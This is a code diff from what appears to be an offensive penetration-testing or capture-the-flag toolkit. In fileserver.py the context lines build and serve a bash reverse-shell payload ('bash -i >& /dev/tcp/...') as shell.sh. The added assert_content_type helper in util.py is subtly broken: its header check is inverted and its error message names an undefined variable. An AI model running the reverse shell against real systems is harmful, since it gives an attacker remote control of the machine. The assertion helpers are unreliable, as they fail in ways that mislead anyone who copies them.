assertions

fileserver.py

@@ -278,6 +278,7 @@ if __name__ == "__main__":
         listenPort = 4444 if len(sys.argv) < 3 else int(sys.argv[2])
         rev_shell = "bash -i >& /dev/tcp/%s/%d 0>&1" % (ipAddress, listenPort)
         fileServer.addFile("shell.sh", rev_shell)
+        fileServer.dumpRequest("/")
         print("Reverse Shell URL: http://%s/shell.sh" % ipAddress)
     elif sys.argv[1] == "dump":
         fileServer.dumpRequest("/")

util.py

@@ -3,6 +3,7 @@
 import random
 import socket
 import netifaces as ni
+import string
 import sys
 import exif
 import os
@@ -32,6 +33,36 @@ def get_address(interface={"tun0", "vpn0"}):
     addresses = [addr for addr in addresses if not str(addr).startswith("127")]
     return addresses[0]
 
+def generate_random_string(length=16, charset=string.printable):
+    chars = random.choices(charset, k=length)
+    return "".join(chars)
+
+def exit_with_error(res, err):
+    if callable(err):
+        print(err(res))
+    else:
+        print(err)
+    exit()
+
+def assert_status_code(res, status_code, err=None):
+    if res.status_code != status_code:
+        err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
+        exit_with_error(res, err)
+        exit()
+
+def assert_content_type(res, content_type, err=None):
+    if "Content-Type" in res.headers:
+        return
+    content_type_header = res.headers["Content-Type"].lower()
+    if content_type_header == content_type.lower():
+        return
+    if content_type_header.lower().startswith(content_type.lower() + ";"):
+        return
+
+    err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
+    exit_with_error(res, err)
+    exit()
+
 def openServer(address, ports=None):
     listenPort = None
     retry = True